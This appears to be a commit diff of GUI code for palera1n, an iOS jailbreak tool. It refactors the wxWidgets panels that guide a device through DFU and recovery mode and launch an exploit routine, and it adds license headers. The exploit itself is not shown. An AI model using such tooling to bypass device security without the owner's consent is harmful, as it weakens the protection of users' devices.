m_stepRemaining = m_sequence.steps[m_index].duration;
|
||||
}
|
||||
}
|
||||
|
||||
if (m_index >= m_sequence.steps.size())
|
||||
{
|
||||
for (auto* lbl : m_stepLabels)
|
||||
lbl->SetForegroundColour(kInactive);
|
||||
|
||||
Layout();
|
||||
Refresh();
|
||||
lbl->SetForegroundColour(inactive);
|
||||
|
||||
m_timer.Stop();
|
||||
Refresh();
|
||||
return;
|
||||
}
|
||||
|
||||
for (size_t i = 0; i < m_stepLabels.size(); ++i)
|
||||
{
|
||||
auto* lbl = m_stepLabels[i];
|
||||
const auto& step = m_sequence.steps[i];
|
||||
|
||||
lbl->SetForegroundColour(i == m_index ? active : inactive);
|
||||
|
||||
int remaining = step.duration;
|
||||
|
||||
if (i == m_index)
|
||||
remaining = m_stepRemaining;
|
||||
else if (i < m_index)
|
||||
remaining = 0;
|
||||
|
||||
lbl->SetLabel(wxString::Format(
|
||||
"%zu. %s (%d)",
|
||||
i + 1,
|
||||
step.description,
|
||||
remaining
|
||||
));
|
||||
}
|
||||
|
||||
for (auto* lbl : m_buttonLabels)
|
||||
lbl->SetForegroundColour(inactive);
|
||||
|
||||
for (const auto& buttonId : m_sequence.steps[m_index].activeButtons)
|
||||
{
|
||||
for (const auto& btn : m_sequence.buttons)
|
||||
{
|
||||
if (btn.id != buttonId)
|
||||
continue;
|
||||
|
||||
for (auto* lbl : m_buttonLabels)
|
||||
{
|
||||
if (lbl->GetLabel() == btn.name)
|
||||
lbl->SetForegroundColour(active);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
const auto& step = m_sequence.steps[m_index];
|
||||
|
||||
if (m_stepRemaining < 0)
|
||||
m_stepRemaining = step.duration;
|
||||
|
||||
if (m_stepRemaining > 0)
|
||||
--m_stepRemaining;
|
||||
|
||||
bool finished = (m_stepRemaining == 0);
|
||||
size_t completedIndex = m_index;
|
||||
|
||||
if (finished)
|
||||
if (!step.action.empty() &&
|
||||
m_actionExecutedIndex != static_cast<int>(m_index))
|
||||
{
|
||||
++m_index;
|
||||
m_stepRemaining = -1;
|
||||
}
|
||||
m_actionExecutedIndex = m_index;
|
||||
|
||||
for (size_t i = 0; i < m_stepLabels.size(); i++)
|
||||
{
|
||||
auto* lbl = m_stepLabels[i];
|
||||
|
||||
if (i == m_index)
|
||||
{
|
||||
lbl->SetForegroundColour(kActive);
|
||||
|
||||
lbl->SetLabel(wxString::Format(
|
||||
"%zu. %s (%d)",
|
||||
i + 1,
|
||||
m_sequence.steps[i].description,
|
||||
m_stepRemaining < 0 ? m_sequence.steps[i].duration : m_stepRemaining
|
||||
));
|
||||
}
|
||||
else if (finished && i == completedIndex)
|
||||
{
|
||||
lbl->SetForegroundColour(kInactive);
|
||||
|
||||
lbl->SetLabel(wxString::Format(
|
||||
"%zu. %s (0)",
|
||||
i + 1,
|
||||
m_sequence.steps[i].description
|
||||
));
|
||||
}
|
||||
else
|
||||
{
|
||||
lbl->SetForegroundColour(kInactive);
|
||||
}
|
||||
}
|
||||
|
||||
for (auto* lbl : m_buttonLabels)
|
||||
lbl->SetForegroundColour(kInactive);
|
||||
|
||||
const auto& activeStep =
|
||||
(m_index < m_sequence.steps.size())
|
||||
? m_sequence.steps[m_index]
|
||||
: m_sequence.steps.back();
|
||||
|
||||
for (const auto& buttonId : activeStep.activeButtons)
|
||||
{
|
||||
for (const auto& btn : m_sequence.buttons)
|
||||
{
|
||||
if (btn.id == buttonId)
|
||||
{
|
||||
for (auto* lbl : m_buttonLabels)
|
||||
{
|
||||
if (lbl->GetLabel() == btn.name)
|
||||
lbl->SetForegroundColour(kActive);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (m_index < m_sequence.steps.size())
|
||||
{
|
||||
const auto& activeStep = m_sequence.steps[m_index];
|
||||
|
||||
if (!activeStep.action.empty() && m_actionExecutedIndex != m_index)
|
||||
{
|
||||
m_actionExecutedIndex = m_index;
|
||||
|
||||
if (activeStep.action == "reboot")
|
||||
{
|
||||
Reboot();
|
||||
}
|
||||
}
|
||||
if (step.action == "reboot")
|
||||
Reboot();
|
||||
}
|
||||
|
||||
Layout();
|
||||
@@ -468,25 +474,7 @@ void DfuPanel::Reboot()
|
||||
if (!state.connected || state.mode != DeviceMode::Recovery)
|
||||
return;
|
||||
|
||||
irecv_client_t client = nullptr;
|
||||
|
||||
int attempts = 0;
|
||||
const int max_attempts = 8;
|
||||
|
||||
while (attempts < max_attempts)
|
||||
{
|
||||
if (irecv_open_with_ecid(&client, state.ecid) == IRECV_E_SUCCESS)
|
||||
break;
|
||||
|
||||
attempts++;
|
||||
std::this_thread::sleep_for(std::chrono::milliseconds(250));
|
||||
}
|
||||
|
||||
if (!client) return;
|
||||
irecv_setenv(client, "auto-boot", "true");
|
||||
irecv_saveenv(client);
|
||||
irecv_reboot(client);
|
||||
irecv_close(client);
|
||||
exit_recovery();
|
||||
}).detach();
|
||||
}
|
||||
|
||||
|
||||
+28
-1
@@ -1,3 +1,30 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (C) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: MIT
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in all
|
||||
* copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
* SOFTWARE.
|
||||
*
|
||||
*/
|
||||
|
||||
#ifndef DFUPANEL_H
|
||||
#define DFUPANEL_H
|
||||
|
||||
@@ -5,7 +32,7 @@
|
||||
|
||||
#include <wx/wx.h>
|
||||
#include "DevicePanel.hpp"
|
||||
#include "../event.hpp"
|
||||
#include "../events/event.hpp"
|
||||
#include "../sequence.hpp"
|
||||
|
||||
class DfuPanel;
|
||||
|
||||
+53
-22
@@ -1,3 +1,30 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (C) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: MIT
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in all
|
||||
* copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
* SOFTWARE.
|
||||
*
|
||||
*/
|
||||
|
||||
#ifdef WITH_GUI
|
||||
|
||||
#include "ExploitPanel.hpp"
|
||||
@@ -19,16 +46,15 @@ using std::atomic_bool;
|
||||
#include <memory>
|
||||
|
||||
#include "AppFrame.hpp"
|
||||
#include "../m8/run.h"
|
||||
#include "../utils.h"
|
||||
#include "../gen/images/logo.h"
|
||||
#include "../exploit.h"
|
||||
#include "../gen/embedded/logo.h"
|
||||
|
||||
ExploitPanel::ExploitPanel(MainFrame* frame, wxWindow* parent)
|
||||
: DevicePanel(frame, parent)
|
||||
{
|
||||
auto* root = new wxBoxSizer(wxHORIZONTAL);
|
||||
auto* left = new wxBoxSizer(wxVERTICAL);
|
||||
wxMemoryInputStream stream(images_logo_png, images_logo_png_len);
|
||||
wxMemoryInputStream stream(embedded_logo_png, embedded_logo_png_len);
|
||||
wxImage img(stream, wxBITMAP_TYPE_PNG);
|
||||
wxBitmap bmp(img);
|
||||
auto* logo = new wxStaticBitmap(this, wxID_ANY, bmp);
|
||||
@@ -89,45 +115,50 @@ void ExploitPanel::StartExploit()
|
||||
return;
|
||||
}
|
||||
|
||||
auto state = std::make_shared<shared_t>();
|
||||
atomic_init(&state->stage, STAGE_RESET);
|
||||
atomic_init(&state->stop, false);
|
||||
atomic_init(&state->result, 0);
|
||||
auto stage = std::make_shared<std::atomic<int>>(STAGE_RESET);
|
||||
auto result = std::make_shared<std::atomic<int>>(0);
|
||||
|
||||
auto isFinished = std::make_shared<std::atomic<bool>>(false);
|
||||
|
||||
std::thread worker([state, isFinished]()
|
||||
std::thread worker([stage, result]()
|
||||
{
|
||||
exploit(state.get());
|
||||
isFinished->store(true);
|
||||
int ret = exploit(reinterpret_cast<int*>(stage.get()));
|
||||
result->store(ret);
|
||||
stage->store(ret == 0 ? STAGE_DONE : STAGE_ERROR);
|
||||
});
|
||||
|
||||
for (;;)
|
||||
{
|
||||
int stage = atomic_load(&state->stage);
|
||||
int progress = stage_to_progress(stage);
|
||||
bool finished = isFinished->load();
|
||||
int currentStage = stage->load();
|
||||
int progress = stage_to_progress(currentStage);
|
||||
|
||||
wxTheApp->CallAfter([this, stage, progress, finished]()
|
||||
wxTheApp->CallAfter([this, currentStage, progress, stage, result]()
|
||||
{
|
||||
m_statusText->SetLabel(stage_to_string(stage));
|
||||
if (currentStage == STAGE_ERROR) {
|
||||
const char* error = err_to_string(result->load());
|
||||
m_statusText->SetLabel(
|
||||
wxString::Format("%s (%s)", stage_to_string(currentStage), error)
|
||||
);
|
||||
m_progressBar->SetValue(0);
|
||||
m_backButton->Enable();
|
||||
return;
|
||||
}
|
||||
|
||||
m_statusText->SetLabel(stage_to_string(currentStage));
|
||||
m_progressBar->SetValue(progress);
|
||||
|
||||
if (finished || stage == STAGE_DONE) {
|
||||
if (currentStage == STAGE_DONE) {
|
||||
m_backButton->Enable();
|
||||
}
|
||||
});
|
||||
|
||||
if (stage == STAGE_DONE || finished) {
|
||||
atomic_store(&state->stop, true);
|
||||
if (currentStage == STAGE_DONE || currentStage == STAGE_ERROR)
|
||||
break;
|
||||
}
|
||||
|
||||
std::this_thread::sleep_for(std::chrono::milliseconds(100));
|
||||
}
|
||||
|
||||
if (worker.joinable())
|
||||
worker.join();
|
||||
|
||||
}).detach();
|
||||
}
|
||||
|
||||
|
||||
+28
-1
@@ -1,3 +1,30 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (C) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: MIT
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in all
|
||||
* copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
* SOFTWARE.
|
||||
*
|
||||
*/
|
||||
|
||||
#ifndef EXPLOITPANEL_HPP
|
||||
#define EXPLOITPANEL_HPP
|
||||
|
||||
@@ -5,7 +32,7 @@
|
||||
|
||||
#include <wx/wx.h>
|
||||
#include "DevicePanel.hpp"
|
||||
#include "../event.hpp"
|
||||
#include "../events/event.hpp"
|
||||
|
||||
class ExploitPanel;
|
||||
class ExploitPanel : public DevicePanel
|
||||
|
||||
+45
-21
@@ -1,3 +1,30 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (C) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: MIT
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in all
|
||||
* copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
* SOFTWARE.
|
||||
*
|
||||
*/
|
||||
|
||||
#ifdef WITH_GUI
|
||||
|
||||
#include "MainPanel.hpp"
|
||||
@@ -12,11 +39,10 @@
|
||||
#include "AppFrame.hpp"
|
||||
#include "DevicePanel.hpp"
|
||||
|
||||
#include "../event.hpp"
|
||||
#include "../events/event.hpp"
|
||||
#include "../globals.h"
|
||||
#include "../utils.h"
|
||||
#include "../paleinfo.h"
|
||||
#include "../gen/images/logo.h"
|
||||
#include "../gen/embedded/logo.h"
|
||||
|
||||
const char* deviceTextString = "No device connected";
|
||||
const char* deviceTextString2 = "Please connect a device to get started.\nEnsure version range is 15.0+";
|
||||
@@ -29,7 +55,7 @@ MainPanel::MainPanel(MainFrame* frame, wxWindow* parent)
|
||||
auto* left = new wxBoxSizer(wxVERTICAL);
|
||||
auto* right = new wxBoxSizer(wxVERTICAL);
|
||||
|
||||
wxMemoryInputStream stream(images_logo_png, images_logo_png_len);
|
||||
wxMemoryInputStream stream(embedded_logo_png, embedded_logo_png_len);
|
||||
wxImage img(stream, wxBITMAP_TYPE_PNG);
|
||||
wxBitmap bmp(img);
|
||||
|
||||
@@ -185,23 +211,21 @@ void MainPanel::SetDeviceState(const DeviceState& state)
|
||||
|
||||
if (m_deviceTitle && m_deviceSubtitle)
|
||||
{
|
||||
if (!state.connected)
|
||||
if (state.multipleDevices || state.connectedDeviceCount > 1)
|
||||
{
|
||||
if (state.connectedDeviceCount > 1)
|
||||
{
|
||||
m_deviceTitle->SetLabel("Multiple devices detected");
|
||||
m_deviceSubtitle->SetLabel(
|
||||
wxString::Format(
|
||||
"%u USB devices connected. Disconnect extras and keep only one device attached.",
|
||||
state.connectedDeviceCount
|
||||
)
|
||||
);
|
||||
}
|
||||
else
|
||||
{
|
||||
m_deviceTitle->SetLabel(deviceTextString);
|
||||
m_deviceSubtitle->SetLabel(deviceTextString2);
|
||||
}
|
||||
m_deviceTitle->SetLabel("Multiple devices detected");
|
||||
m_deviceSubtitle->SetLabel(
|
||||
wxString::Format(
|
||||
"%u devices connected. Please only connect one device.\n",
|
||||
state.connectedDeviceCount
|
||||
)
|
||||
);
|
||||
m_startButton->Enable(false);
|
||||
}
|
||||
else if (!state.connected)
|
||||
{
|
||||
m_deviceTitle->SetLabel(deviceTextString);
|
||||
m_deviceSubtitle->SetLabel(deviceTextString2);
|
||||
m_startButton->Enable(false);
|
||||
}
|
||||
else
|
||||
@@ -209,7 +233,7 @@ void MainPanel::SetDeviceState(const DeviceState& state)
|
||||
const std::string versionString =
|
||||
state.productVersion.empty() ? "Unknown" : state.productVersion;
|
||||
const std::string productString =
|
||||
state.productType.empty() ? "Unknown" : state.productType;
|
||||
state.displayName.empty() ? (state.productType.empty() ? "Unknown" : state.productType) : state.displayName;
|
||||
const std::string ecidString = state.ecid != 0 ? ("ECID: " + std::to_string(state.ecid)) : "ECID: Unknown";
|
||||
|
||||
switch (state.mode)
|
||||
|
||||
+28
-1
@@ -1,3 +1,30 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (C) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: MIT
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in all
|
||||
* copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
* SOFTWARE.
|
||||
*
|
||||
*/
|
||||
|
||||
#ifndef MAINPANEL_H
|
||||
#define MAINPANEL_H
|
||||
|
||||
@@ -5,7 +32,7 @@
|
||||
|
||||
#include <wx/wx.h>
|
||||
#include "DevicePanel.hpp"
|
||||
#include "../event.hpp"
|
||||
#include "../events/event.hpp"
|
||||
|
||||
class MainPanel;
|
||||
class MainPanel : public DevicePanel
|
||||
|
||||
+42
-31
@@ -1,3 +1,30 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (C) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: MIT
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in all
|
||||
* copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
* SOFTWARE.
|
||||
*
|
||||
*/
|
||||
|
||||
#ifdef WITH_GUI
|
||||
|
||||
#include "RecoveryPanel.hpp"
|
||||
@@ -13,15 +40,10 @@
|
||||
#include "AppFrame.hpp"
|
||||
#include "DevicePanel.hpp"
|
||||
|
||||
#include "../event.hpp"
|
||||
#include "../utils.h"
|
||||
#include "../events/event.hpp"
|
||||
#include "../globals.h"
|
||||
#include "../paleinfo.h"
|
||||
#include "../gen/images/logo.h"
|
||||
|
||||
#include <libimobiledevice/libimobiledevice.h>
|
||||
#include <libimobiledevice/lockdown.h>
|
||||
#include <libirecovery.h>
|
||||
#include "../gen/embedded/logo.h"
|
||||
|
||||
RecoveryPanel::RecoveryPanel(MainFrame* frame, wxWindow* parent)
|
||||
: DevicePanel(frame, parent)
|
||||
@@ -29,7 +51,7 @@ RecoveryPanel::RecoveryPanel(MainFrame* frame, wxWindow* parent)
|
||||
Bind(wxEVT_SHOW, &RecoveryPanel::OnShow, this);
|
||||
auto* root = new wxBoxSizer(wxHORIZONTAL);
|
||||
auto* left = new wxBoxSizer(wxVERTICAL);
|
||||
wxMemoryInputStream stream(images_logo_png, images_logo_png_len);
|
||||
wxMemoryInputStream stream(embedded_logo_png, embedded_logo_png_len);
|
||||
wxImage img(stream, wxBITMAP_TYPE_PNG);
|
||||
wxBitmap bmp(img);
|
||||
auto* logo = new wxStaticBitmap(this, wxID_ANY, bmp);
|
||||
@@ -133,30 +155,19 @@ void RecoveryPanel::EnterRecoveryMode()
|
||||
std::thread([this]()
|
||||
{
|
||||
const auto deviceState = GetDeviceState();
|
||||
if (!deviceState.connected)
|
||||
return;
|
||||
|
||||
idevice_t device = nullptr;
|
||||
lockdownd_client_t client = nullptr;
|
||||
|
||||
if (idevice_new(&device, deviceState.udid.c_str()) != IDEVICE_E_SUCCESS)
|
||||
return;
|
||||
|
||||
if (lockdownd_client_new_with_handshake(
|
||||
device,
|
||||
&client,
|
||||
"palera1n") != LOCKDOWN_E_SUCCESS)
|
||||
{
|
||||
idevice_free(device);
|
||||
return;
|
||||
}
|
||||
|
||||
if (!deviceState.connected) return;
|
||||
m_isEnteringRecovery = true;
|
||||
|
||||
lockdownd_enter_recovery(client);
|
||||
|
||||
lockdownd_client_free(client);
|
||||
idevice_free(device);
|
||||
bool success = enter_recovery();
|
||||
if (!success)
|
||||
{
|
||||
wxTheApp->CallAfter([this]()
|
||||
{
|
||||
m_isEnteringRecovery = false;
|
||||
m_statusText->SetLabel("Failed to enter recovery mode.");
|
||||
m_backButton->Enable();
|
||||
m_nextButton->Enable();
|
||||
});
|
||||
}
|
||||
}).detach();
|
||||
}
|
||||
|
||||
|
||||
@@ -1,3 +1,30 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (C) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: MIT
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in all
|
||||
* copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
* SOFTWARE.
|
||||
*
|
||||
*/
|
||||
|
||||
#ifndef RECOVERYPANEL_H
|
||||
#define RECOVERYPANEL_H
|
||||
|
||||
|
||||
@@ -1,3 +1,30 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (C) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: MIT
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in all
|
||||
* copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
* SOFTWARE.
|
||||
*
|
||||
*/
|
||||
|
||||
#ifdef WITH_GUI
|
||||
|
||||
#include "SettingsPanel.hpp"
|
||||
@@ -10,17 +37,16 @@
|
||||
|
||||
#include "AppFrame.hpp"
|
||||
#include "DevicePanel.hpp"
|
||||
#include "../utils.h"
|
||||
#include "../globals.h"
|
||||
#include "../paleinfo.h"
|
||||
#include "../gen/images/logo.h"
|
||||
#include "../gen/embedded/logo.h"
|
||||
|
||||
SettingsPanel::SettingsPanel(MainFrame* frame, wxWindow* parent)
|
||||
: DevicePanel(frame, parent)
|
||||
{
|
||||
auto* root = new wxBoxSizer(wxHORIZONTAL);
|
||||
auto* left = new wxBoxSizer(wxVERTICAL);
|
||||
wxMemoryInputStream stream(images_logo_png, images_logo_png_len);
|
||||
wxMemoryInputStream stream(embedded_logo_png, embedded_logo_png_len);
|
||||
wxImage img(stream, wxBITMAP_TYPE_PNG);
|
||||
wxBitmap bmp(img);
|
||||
auto* logo = new wxStaticBitmap(this, wxID_ANY, bmp);
|
||||
@@ -120,7 +146,6 @@ SettingsPanel::SettingsPanel(MainFrame* frame, wxWindow* parent)
|
||||
{
|
||||
wxString value = e.GetString();
|
||||
if (value.length() > (sizeof(boot_args) - 0x20)) {
|
||||
LOG_ERROR("Boot arguments too long");
|
||||
return;
|
||||
}
|
||||
snprintf(boot_args, sizeof(boot_args), "%s", value.ToStdString().c_str());
|
||||
|
||||
@@ -1,3 +1,30 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (C) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: MIT
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in all
|
||||
* copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
* SOFTWARE.
|
||||
*
|
||||
*/
|
||||
|
||||
#ifndef SETTINGSPANEL_H
|
||||
#define SETTINGSPANEL_H
|
||||
|
||||
|
||||
Reference in new issue
Block a user